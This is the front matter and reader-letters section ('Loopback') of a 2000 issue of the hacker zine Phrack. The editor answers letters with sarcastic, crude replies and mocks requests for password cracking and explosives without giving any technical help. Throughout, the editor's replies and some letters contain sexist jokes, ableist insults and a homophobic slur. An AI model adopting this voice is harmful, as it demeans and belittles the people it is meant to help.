|‑Prom Queen ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑dk‑|

|‑Kisses Like a Girl ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑shinex‑|

|‑Special Thankz ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑sasha, twitch‑|

|‑Shout Outs ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ incr, frontline, no_ana, alia, miff, udp‑|

Phrack Magazine Volume 10 Number 56, May 01, 2000. ISSN 1068‑1035 Contents Copyright (c) 2000 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without written permission from the editor in chief. Phrack Magazine is made available to the public, as often as possible, free of charge. Go nuts people. And stop bitching. You don't pay for this shit.

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ C O N T A C T P H R A C K M A G A Z I N E ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

Editor in Chief: route@phrack.com

Submissions: route@phrack.com

Commentary: loopback@phrack.com

Phrack World News: disorder@phrack.com

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Submissions may be encrypted with the following PGP key:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: PGPfreeware 5.0i for non‑commercial use

mQGiBDdmijIRBADrabrDFYw6PRDrRRZsgetOOGo8oGROn4/H7q4L7rLm7weszn4L 8j1zY4AV4f3jFis0A/AqXPicxUHz0I3L6PzTMg11mmLbcj6wnAvr78LZ65y3Z5aA PEm/F7fNqAzFl9MCnUWa+53eH0TBKW7JdjpfCELeXTMLNsJREjL7f5qvyQCg/xqD g7dUtdIiDb7tm5DRhWqgDmED/iPUmujMt5x40bmf135vjev1Rle3nhHIe4fh58a7 VkZOmzqz/s3LninBuWcmuyZWShVGd8Hhd758yt41Xe/YHtEW4jSzYtE/1woYmp0K sZnFt+zIVAEm1mcVVV9+qrpEKVmbBLTR/oa+6A+t5/hFUjriTpAQUGF0xLzXNLYu c7cSA/0Q0rziq5xyuPbtUMKWE9zhxrt/SwfhunWx/n2vm2q9eFPfWqb9fDVuFrtv gwpaPVJ2CbM6F6c21pNGqm8zrSO8TYzgTScBKM80wn7ase3RBth36++N/Oq4Zczm froc9Och7qkgdZ7TkPCuorsyMc1169DXBxBSGfiQ85ylUYrbrLQRTWlrZSBELiBT Y2hpZmZtYW6JAEsEEBECAAsFAjdmijIECwMBAgAKCRAWHraAlbJmQSdiAKCjaUrs InxTXebFlAX5aUmdEKsD1wCfRZMfzv3BvQMKa6Rmbwlfzat0DFS5Ag0EN2aKMxAI APZCV7cIfwgXcqK61qlC8wXo+VMROU+28W65Szgg2gGnVqMU6Y9AVfPQB8bLQ6mU rfdMZIZJ+AyDvWXpF9Sh01D49Vlf3HZSTz09jdvOmeFXklnN/biudE/F/Ha8g8VH MGHOfMlm/xX5u/2RXscBqtNbno2gpXI61Brwv0YAWCvl9Ij9WE5J280gtJ3kkQc2 azNsOA1FHQ98iLMcfFstjvbzySPAQ/ClWxiNjrtVjLhdONM0/XwXV0OjHRhs3jMh LLUq/zzhsSlAGBGNfISnCnLWhsQDGcgHKXrKlQzZlp+r0ApQmwJG0wg9ZqRdQZ+c fL2JSyIZJrqrol7DVekyCzsAAgIH/jCj4drT8VSrxI2N3MlgkiQOMcaGLE8L3qbZ jyiVolqIeH+NEwyWzCMRVsFTHWfQroPrF30UsezIXuF0GPVZvlzSSB/fA1ND0CBz 9uK9oSYPwI8i513nMaF03bLWlB07dBqiDUcKgfm/eyPGu5SP+3QhVaERDnBOdolZ J6t3ER8GRgjNUyxXOMaZ4SWdB7IaZVph1/PyEgLLA3DxfYjsPp5/WRJcSbK3NZDG cNlmozX5WUM7cHwEHzmYSRDujs/e3aJLZPa7stS9YGYVPZcjxQoE6wr+jx4Vjps4 pW+f6iWvWEfYnYRJqzwe8318rX6OojqHttaQs8xNEqvPOTfkt12JAD8DBRg3Zooz Fh62gJWyZkERAj61AJ41XyTBasgKKYlOVnI4mWZYJemQIQCgiqaTkhpM6xCnqKD9 BKnOvDsNc44=

=IQ3Y

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

phrack:~# head ‑20 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of the * editors and contributors, truthful and accurate. When possible, all facts * are checked, all code is compiled. However, we are not omniscient (hell, * we don't even get paid). It is entirely possible something contained * within this publication is incorrect in some way. If this is the case, * please drop us some email so that we can correct it in a future issue. *

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for the * entirely stupid (or illegal) things people may do with the information * contained herein. Phrack is a compendium of knowledge, wisdom, wit, and * sass. We neither advocate, condone nor participate in any sort of illicit * behavior. But we will sit back and watch.

*

*

* Lastly, it bears mentioning that the opinions that may be expressed in the * articles of Phrack Magazine are intellectual property of their authors. * These opinions do not necessarily represent those of the Phrack Staff. */

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ T A B L E O F C O N T E N T S ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

0x01 Introduction Phrack Staff 0x18 K

0x02 Phrack Loopback Phrack Staff 0x64 K

0x03 Phrack Line Noise various 0x6c K

0x04 Phrack Prophile Phrack Staff 0x1c K

0x05 Bypassing StackGuard and StackShield Bulba and Kil3r 0x36 K

0x06 Project Area52 Jitsu‑Disk... 0x50 K

0x07 Shared Library Redirection via ELF PLT Infection Silvio 0x32 K

0x08 Smashing C++ VPTRs rix 0x6c K

0x09 Backdooring binary objects klog 0x46 K 0x0a Things To Do in Cisco Land When You're Dead gaius 0x26 K 0x0b A Strict Anomaly Detection Model for IDS sasha / beetle 0x28 K

0x0c Distributed Tools sasha / lifeline 0x3e K

0x0d Introduction to PAM Bryan Ericson 0x20 K

0x0e Exploiting Non‑adjacent Memory Spaces twitch 0x38 K 0x0f Writing MIPS/Irix shellcode scut 0x3a K 0x10 Phrack Magazine Extraction Utility Phrack Staff 0x2a K

Total 0x3ba K

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"...IMHO it hasn't improved. Sure, some technical aspects of the magazine have improved, but it's mostly a dry technical journal these days. The personality that used to characterize Phrack is pretty much non‑existant, and the editorial style has shifted towards one of `I know more about buffer overflows than you` arrogance. Take a look at the Phrack Loopback responses during the first 10 years to the recent ones. A much higher percentage of responses are along the lines of `you're an idiot, we at Phrack Staff are much smarter than you.`..."

‑ Trepidity <delirium4u@theoffspring.net> apparently still bitter at not being chosen as Mrs. Phrack 2000.

Phrack Loopback

‑ P H R A C K M A G A Z I N E ‑

Volume 0xa Issue 0x38

05.01.2000

0x02[0x10]

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ L O O P B A C K ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ phrack staff ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

Phrack Loopback is your chance to write to the Phrack staff with your comments, questions, or whatever. The responses are generally written by the editor, except where noted. The actual letters are perhaps edited for format, but generally not for grammar and/or spelling. We try not to correct the vernacular, as it often adds a colorful ‑even colloquial‑ perspective to the letter in question.

|0x01|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hackesses...

by MiStReSS DiVA

My name is MiStReSS DiVA...and I am a hackess...

[ Who said what now? A hackess? Is that some sort of delicious pastry treat? ]

"Girls can't hack...," I've heard this more times than not

[ Hrm. I usually hear "girls cant do such‑and‑such az good az guyz" or "women shouldn't vote", or the ever popular "YOU WANT ANOTHER BLACK EYE? NO? GOOD! GET BACK IN THERE AND MAKE ME A PIE." ]

at hackers conventions and the like. Well, I have some news for everyone;

[ They're bringing back Perfect Strangers? ]

There are women hackers, and our numbers are rising.

[ Oh. Damn. I really miss Balki. ]

Let's think about it for a moment‑Women have always taken second seat to men, especially in the computer industry and business.

[ There'z a reason for this... No.. Hrm. There really isn't. ]

Over 75% of jobs in computer industries and taken by men.

[ How do you think we feel? Over 75% of the jobs in the baking and sewing industries are taken by women! ]

So, it's no surprise that there aren't many women in hacking. There's the issue of some hacking activities being illegal.

[ Don't discount the major issue that hacking activities have nothing to do with makeup, shopping at strip mallz or gold digging! ]

Many women want to stay as far away from situations like that as possible. I know many girls who don't even drink or smoke illegally, no less break into a UNIX server, let alone know what one is.

[ I bet these are the same chickz who turn me down when I ask them out. Course, all chickz turn me down when I ask them out so I guess it'z a moot point. :( ]

Then again, maybe we don't hear about them because there ways are much more cleaver than that of a man.

[ Ok, I'm calling a no‑way on this sentence here. As in "no‑way are you *this* retarded". ]

Women, and I'm applying this to myself as well, are naturally more sneaky and watchful.

[ If by sneaky and watchful you mean conniving and vindictive then I agree with you. ]

I know for a fact that women have hacked into sites and to systems,

[ Ah yes. Thiz bringz me back. I remember one little minx who hacked her way right into my heart. Did me up real good too, she did. ]

but why do we still get no credit in the underground community?

[ End this suffrage of innocent hackess' now! ]

Is it because we hid ourselves behind handles

[ Maybe it iz becuase you have love handlez? ]

and tags,

[ Nametagz? Like at Walgreenz? ]

or because people don't want to actually give us the credit.

[ Well, personally, after reading this, I wouldn't give you a shred of credit either. ]

I have only heard of three cases where females were caught in a hack.

[ Shit. 3? I can remember the great `chickhack `96` when 423 girlz were all caught hacking. I think their major flaw was that they all tried to break into bebe.com at the same time. :( ]

One girl got caught because while sending a file, she sent it to the wrong location on a server.

[ What like C:\windows\desktop? ]

One was caught for phreaking, and the other one for obtaining products from an internet site by gaining root access and shipping them to her home, free of charge. These are the only three cases I have found. And they were all stupid reasons to get caught. I know there are many people out there who hack and don't get caught, but the majority that do get caught, are men. We don't do stuff like the chick from hackers, nor do we dress or act in that manner.

[ Well, I think we've identified your problem. Angelina Jolie pretty much sumz up whut everyone wantz to see in a hackess. Mmmm. Delicious hackess treats. ]

We go about our lives like most human beings, maybe even a little better.

[ Or in your case, a little dumber. ]

We don't dress in all black, nor are we interested in only computers. We are intelligent and beautiful. We are the Hackesses.

[ Mmmmmm. Hostess Hackesses. ]

Mistress Diva

|0x02|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi, my name is Adam and am regular guy with a home pc who is being hacked and violated by a military freak..

[ Military freak like Klinger on M.A.S.H. or military freak like that guy in Commando who wore the chain mail shirt? ]

seriously no shit.

[ Oh. Ok. I though you were pulling my leg for second. Sorry... Back on the clock now. ]

i dont know where to start to ensure my pc security

[ Well if you didn't have a PC you wouldn't have this problem. I say get rid of it. The end justifies the means. ]

please reccomend some high level security methods and programs.

[ Have you tried ignoring it? That sometimes works for me. Barring that, have you tried dealing with him? I find that freaks (especially military freaks) are usually pretty cordial when you deal with them on their terms. I say give in to his demands. ]

if you cant do that then please reccommend any links i have found your site usefull because you provide elite items therefore i require your help please.

[ The highest level of security I can think of is God. I recommend you pray each night, and I'll forward this to him. Together we *can* make a difference. ]

Adam Smith

|0x03|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Page 2 is hilarious ... P55‑02 ... scrap the rest and just keep publishing that page. For issue #56 just republish one of the way older editions, it seems they are FINDING THOSE ONES!!@!@. :)

[ HAHAHAHAHHAHAHAHA. Wait. I don't get it. ]

P.S. I don't have a computer either, I'm sending this via DSS and I'm typing on the Remote Control.

[ What do you mean, `either`? Wait, is this Adam from above? Hey man, did you do what I recommended? Did it work? The forward to God bounced so I wasn't sure if anything happened. Good for you man! ]

Anonymous

|0x04|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi, Let me explain what I need for the job I do. I have what we call mystery diners which visit my restaurant each month, this is done by a firm called MARITZ in Berkshire, what I would like is the dates when they visit my restaurant so I can make myself available for the visit day, is this possible in any way.

[ If you knew then there wouldn't be any more mystery to it, now would there? What fun is that? ]

Gary

|0x05|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Does the author of article 52‑9 have a degree in literature?

[ Definitely not. However, I think he has a degree in money management. Well, maybe not. But he's SO very good with money. Maybe he just likes it alot. Maybe it's something ingrained into his personality or culture... ]

If so, I think we made some sashimi together.

[ Maybe it was bagels? ]

HeftyNuts

[ Hrm. Do you get around ok? Do you have a little wheelbarrow you put them in? ]

|0x06|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey Route,

Just wanted to compliment you on Phrack 55. It's very well done, excellent articles, very clean and professional, and the Loopback is hilarious, as always. Exactly what it should be, and a lot more. Well done, keep up the good work and spreading the info. Thank you for spending your time to bring this to us.

[ SEE!? Some people actually DO like me! ]

EchoMirage

|0x07|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I came to this page to see what kind of fucked up, twisted, LOSERS would run something like this!

[ Just your average run‑of‑the‑mill sexier‑than‑cheescake losers. The kind with luscious filling. ]

Phracked! Phracked!?! Boy, was I an ass.

[ Was? ]

The editors comments are the funniest damn thing on the net right now.

[ I'm slicker this year. ]

No kiddin'. It's hilarious the number of people who think he's Percy ‑fuckn'‑ Ross

[ Yah. The current count is at 384572. ]

some sorta hacker dogooder out there to free humanity (or save little boys knee deep in there own shit). You guys are hilarious. I'll be back to read some more, please, keep up the good work.

A New Fan

[ 384573. ]

|0x08|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi ‑

My name is Dawn, I think your commentary on other people's articles are absolutely hilarious and if you're not doing anything on Friday, I'd like to...

[ HOLY FUCK YOU'D LIKE TO WHAT?!@#!# ]

just kidding!!

[ SWEET FUCKING CHRIST GIRL! DON'T EVER DO THAT TO ME. DO YOU KNOW WHERE I'M COMING FROM? (A COLD LONELY PLACE WITH NO GIRLZ). ]

Anyways! I just wanted to tell you how funny I think you are and I will now become an avid reader of Phrack because of your comic sarcasm!

[ How about you become an avid reader due to my irresistable charm and unending appeal! *wink* *wink* *puppy dog face* ]

;P love, Dawn

[ Love??@?#!?@#? OMGOMGOMGOMGOMGOMG! I'm getting butterfliez in my tummy! ]

Talk to you later I hope!

[ Dawn, do you by *any* chance happen to like food or sleeping or procreation? If so, I think we may have some thingz in common and we definitely need to get together as soon as possible. Please write me back as soon as possible, only if you're hot though. ]

|0x09|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Helu,

First off, much thanks to the Phrack staff for producing a wonderful publication.. regardless of _WHEN_ they come out. I have found them very informative since the current group tookover the whole process.

[ Group? Paha. I wish I had a staff. It'z just me and my mom dude. She doez the writing and I do the copy and editz. ]

I read the article on "Building Bastion Routers Using Cisco IOS",

[ (p55‑10). ]

which was a decent piece and contained a lot of basic IOS information that would apply to building a bastion router.

There was a part of a section however that I felt should've been covered a little more accurately,

[ WELL PREACH ON BROTHER!@ ]

which was in the section entitled "Step 2 : Limit remote access". The article mentions that there have been rumors that SSH would make it into Cisco IOS 12.0, however it never made it in. Now, I'm not certain when the actual article was written so it may just be that the article has old information. Nonetheless, there is SSH support included in Cisco IOS 12.05(S) and it works like a charm. A few things worth noting about Cisco IOS 12.05(S):

‑‑ It is the preferred and recommended IOS release for Internet backbone routers as well as for service providers ( i.e. perfect candidates for bastion routers ).

‑‑ It runs on enterprise class routers. Meaning the image runs on the following hardware: 7200, 7500, and 12000 (GSR) series routers.

‑‑ It was released in July of 1999.

So there are a lot of people that aren't running their operation on enterprise class routers, however a ton of NSPs and ISPs do; thus this information about SSH is worthy of mentioning.

Anyways, keep up the excellent work.

[ Thankz for your input! ]

Craig

|0x0a|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Gentlemen,

I enjoy reading your issues when you get them out and all I have to say is keep up the good work.

ArgentRisk

[ See, I just like to pepper a few of these babies in here so you people know that there are a precious few who like me and my mom. ]

|0x0b|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Sultan of Love, et al.,

[ Huh. ]

I wanted to give some of your readers help on some of the stuff they sent in.

One, get serious help.

[ Ok thankz! ]

Two, check out the book "PIHKAL: Phenylalanines I Have Known and Loved." I can't remember who it's by, but it's got everything you ever wanted to know about psychotropics, psychodelics, and more... much, much more. Read and practice at your discretion.

[ You suck. You recommend a book _you_ can't remember with some goofy‑ass title _I_ can't remember? ]

Three, I lived in Japan and had peanut butter sent to me, because peanut butter made in Japan is awful.

[ It didn't use to be. Back in the 1920's and 1930's Japanese peanut butter was considered to be the best in world. Mercenary ronin were often paid off with jars of the stuff. This all changed after WWII. Recently declassified State Department documents bring light to the fact that several key strategic targets during WWII bombing raids were the Japanese peanut butter factories. The documents list the reason for the strategic importance as "creamy goodness". Pundits charge however that the U.S. just couldn't live with Japan having the peanut butter edge. Either way, we bombed the Japanese peanut industry back into the stone age. ]

The guy who talked about smuggling drugs into Japan in peanut butter has really fubar'd. Some poor shmuck in Japanese customs is going to be opening up my decent edible peanut butter. For godsakes, guys, necessity may be the mother of invention, but sometimes it's just a mother.

[ LEAVE MY MOM OUT OF THIS, JERKOFF! ]

Leave well enough alone.

[ Now why on earth should our drug‑loving friends in Japan be held hostage by your desire to eat 'Jiffy' instead 'Mister Super Happy Fun Peanut Butter Joy'? ]

Lastly, I actually don't have a thing to say about computers. I'm a med student and know next to nothing about computers. I just wanted to let you know that you guys are so funny you put me in tears. Do you really have a hard time meeting chicks?!

[ Not meeting them, no. Just talking to them. I tend to drool. ]

I don't believe it.

[ Are you coming on to me? ]

Uma

[ Goddess? ]

|0x0c|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi!

I wondered if you could help me to crack userpasswords from PWL‑files.

[ Do you often submit passing musings to Underground Journalz? ]

I'm having a project about computer security at school and it would be nice to have this as an example.

[ I'm having a hard time caring. ]

Tom Erik Gundersen

|0x0d|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ (p55‑17). ]

Someone please tell our friend here that Cisco has already implemented dynamic access control for the H.323 protocol starting with version 12.0 of the IOS software (in the firewall extension ‑12.0fw‑).

[ Done! ]

Anonymous

|0x0e|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I've just finished studying a copy of the K&R/ANSI C tutorial I found in my library, and I'm very interested in moving onto writing C programs that use the serial or parallel ports.

[ Excellent reference book. ]

I'm trying to create my own simple electronic devices to connect to my computer, but I am having locating a good resource or tutorial that discusses serial/parallel port programming. Could you give me a good site please?

[ http://www.eng.auburn.edu/users/doug/serial.html and

http://www.syclus.com/cscene/CS4/CS4‑01.html are decent. ]

BTW, the mag is great. Keep up the good work :)

[ Thankz. Good luck with your programming! ]

Anonymous

|0x0f|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey, i was browsing through the web and i came to your page, i was just wondering what Phrack Magazine actually was about, the articles seemed really intereting and i want to get a subscription. The web site didn't explain a lot for me, i'm sorry for bothering you, thanks a lot.

[ Do you get tired putting your socks on? Do you get lost on your way to the kitchen? You may be retarded. Check with your family doctor. ]

Anonymous

|0x10|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

My name is route and I'm so elite that I have to make love to my hand three times a day.

[ YA‑HA. I wish! Three times a day in some fantasy world maybe! No, I'm pretty much a one timer, then it'z rite off to sleep! ]

I can't get rid of all the spots on my silly geeky face

[ They told me the radiation burns would go away after a few months. :( ]

and I'm still a virgin.

[ Hah! Apparently SOMEONE hasn't been checking the #hack sexchart: http://www.escape.com/~max‑q/sexchart.shtml)! ]

Why are all hackers such fucking losers?

[ Why are there so many, songs about rainbows? ]

All the articles in phrack could have been written by a 12 year old.

[ Man. That would have to one 12 year old with ALOT of free time. ]

Do any of you faggots even have any computing qualifications?

[ I'll have you know, mister smartguy, that I got a degree from Devry! ]

And have any of you ever even kissed a girl?

[ Well, I've seen picturez of girlz being kissed, doez that count? ]

Dr Robert Gray <bobgray38@hotmail.com>

[ I'm almost positive the good doctor wanted people to email him there with commentz to his letter. ]

|0x11|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello,

I just wanted to write to tell you that I recently read the "Phrack Loopback" in Phrack55. I enjoyed the last letter about the McDonalds article so I decided to read it. I worked at Mc Donalds for a couple years back in High School, and let me tell you that this article had me laughing so hard I was crying. Keep up the good work.

Ryan

[ Crying because you worked at Mc Donalds for a couple yearz or crying because you've only moved up to Wendy'z? ]

|0x12|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi, I know you have better things to do.

[ Nope! Not really! ]

But I didnt know who to turn to.

[ Did you try the A‑team? I hear that if you have a problem, if no one else can help you and if you can find them, maybe you can hire: the A‑team. ]

I had my tax documents and other stuff protected with encypted magic folders.

[ Hrm. Are we talking David Copperfield kinda magic or Merlin kinda magic? ]

I got the whole thing copied to a CD. The only thing i did wrong was that I didnt decrypt it. After that I was having problems with my software so I formatted my hard drive.

[ Geeze. Way to go moron. ]

Now the problem is that I have lost my recovery floppy.

[ Hhahahaha! Holy shit that sucks! ]

I dont know how to access the files. I have them on the CD but they are all encrypted and stuff. What should I do. I really do need your help.

Please do reply,

Ali Tariq

p.s. If you want me to send a file (encryted one) I will send it so that you can test different utilities on it.

[ Of course! Want me to do your taxez if I crack the file too? ]

|0x13|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

My brother has spent the last week reading Phrack. He's a total fucking idiot (doesn't run in the family, maybe he's adopted... I can only hope for so much) and now he thinks he's a hacker. He goes into chat rooms and threatens to send people viruses when he can't even tie his own fucking shoe laces!

[ Yeah, but with the advent of velcro who needs to tie their own shoes? ]

Shame on you for letting total fucking retards read Phrack!

[ We let you read Phrack. ]

Linux Bitch

[ Well, "Linux Bitch", Phrack is an equal opportunity magazine. We don't ostricize the retarded simply because they may drool ocassionally or maybe sit in their own filth. Nay. We encourage people of all levelz of retardation to bask in the wealth of knowledge that each little character brings. We believe that knowledge is meant to be free, and sometimes knowledge seeks out the path of least resistance, and sometimes it takez more difficult route. Ok, and sometimez knowledge just quitz half‑way there and goez drinking with hiz buddiez. I totally forgot my point.

|0x14|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey

What is u? r comments about scientists who's creating machines thinking like humans, as well as looking as humans ‑ so called humanoids? Does it scares u or do u not care? I'm searching for people who can fight Artificial Intelligence back. People with H/C/P skills as well as explosives. Please mail me ASAP, it's urgent. It's our future.

Q Wakee

[ Mister Wakee, this is a problem that I have seen coming since Atari'z Pong first entered, nay ‑‑invaded‑‑ our homez. I've been waiting for a man of action to step forward for a long, long time. In fact, since 1990, I've been running my own underground resistance (it'z called HAHA (Humanz against hostile androidz)). Until now, I thought I was the only one (my resistance has a membership of 1 (one)). We should definitely team up and fight this disgusting menace together. I'll bring the doughnutz and lotion, you bring the robot stopping gunz. Do you have any brochurez? I've been working on one entitled "So You Want to Stop Humanoid Robotz". It'z pretty much industry standard boilerplate stuff, with pop‑ups of me shooting robots and some scratch‑and‑sniff conspiracy theories. Please let me know when we can have our first meeting, oh we'll have to use your compound because my mom doesn't let me have people over anymore. ]

|0x15|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

im confused, what do u guys actually do at phrack?

[ Phrack is a puppet company setup by the CIA to covertly gather intelligence on the tragically retarded. It's been a goldmine! ]

Anonymous

|0x16|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1) Phrack's cool

[ Like Norway! ]

2) Im makin a page on x‑plosives etc. Ive noticed a few of your ish's contain xtracts from the Poor Man's James Bond. If whoever of you haz it could advise me as to were I could get a phile of this, or send me one,

[ http://www.darwinawards.com/legends/legends1999‑10.html ]

or publish more ish's with anarchy stuff, it'd be k‑appreciated.

[ You're a k‑idiot. ]

Anonymous

|0x17|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Glad to have you back and many thanks.

[ Well I'm glad to have YOU back mister toughguy! ]

Always enjoy the articles. Nice job frying the fools too. About had me out of my chair. Pardon the lame e‑mail addy, but visiting the folks right now.

[ Yah, how iz mom'z sexual‑addiction treatment coming along? ]

Symbolic constant, very good, wish I'd thought of it.

[ Paha! BUT YOU DIDN'T, DID YOU? I DID! PROPZ TO ME! ]

Guess I'll have to renew the Phrack link on my page.

[ SAINTZ BE PRASIED! ]

Put ya next to Fyodor.

[ Gee, nestled between one‑hit wonder Fyodor and probably antionline, wonerful. I'll listen to you now and kill myself later. ]

Hasta,

Spiny_Norman

[ Like Norman Fell, t.v.'z Mister Roper from Three'z Company? (A poor man'z Don Knottz if you ask me.) ]

|0x18|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In my English class for school we were asked to write a persuasive essay about anything we wanted. At first I was going to do mine on 'Are their really extraterrestrials?'

[ HOLY SHIT THAT'Z AWESOME! ]

But I decided that was stupid

[ Oh wait, you're right. Idiot. ]

and found I know more about hacking then anything.

[ Uh huh. ]

The only problem is, I have no clue what question to answer. Got any ideas???

Anonymous

[ How about `Why I'm a Retard by Anonymous Dork` or `Why I Know More About Hacking Than Anything (subtitle: and I really don't know anything about anything` or `Darwin Was Wrong: An Essay On Me`. ]

|0x19|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

how do i get other people's IP addres?? do u know?

[ Oh yes. OH YES. I know. Absolutely I do. I know this little arcane tidbit. No way am I telling you though. NOooooooo Way. I can't just be giving away all the secretz can I? ]

Anonymous

|0x1a|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Greetings,

just in case the folks who write to you asking for manuals for Darwin Award Delivery Devices are not sufficiently intimidated by your usual "you will die, I hope you understand" response, I thought I'd pass this info along:

at least Massachusetts, though probably many other states as well, has what it calls an Infernal Device law. This law defines an "infernal device" loosely to cover things that will get idiots killed in their parents' basement, and then bans it. So it's not just the Grim Reaper who awaits people who try to put lighter fluid in their supersoakers, but also The Man.

#include<love_your_mag.h>

UnhandledVagrant22

[ Hrm, how are the other 21 unhandledVagrantz doing anyway? Any of you found work yet? You know, the life of a hobo, while seeming glamorous and sexy, isn't all the brochurez make it to be. Come home. Your mother and I miss you terribly. ]

|0x1b|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I am really sorry to bother you with this question but I am desperate.

[ I'm desperate too, but prolly a different kind of desperate. ]

I know that there is a folder on the PC that stores all the mail you have ever written. Even mail that you have deleted. As you can see I am on AOsmelL. I wrote some mail at work and on Monday morning, if not sooner... my boss is going to see it. Where is that file? I have to get to it so I can get the mail out of there.

[ If you're going to have an affair with your boss's wife at least be smart enough to NOT write her love letters on HIS computer. Haha. Dummy. You're gonna be unemployed. ]

Thank you in advance for any help you can give me.

[ Move to a new town and start over. ]

Anonymous

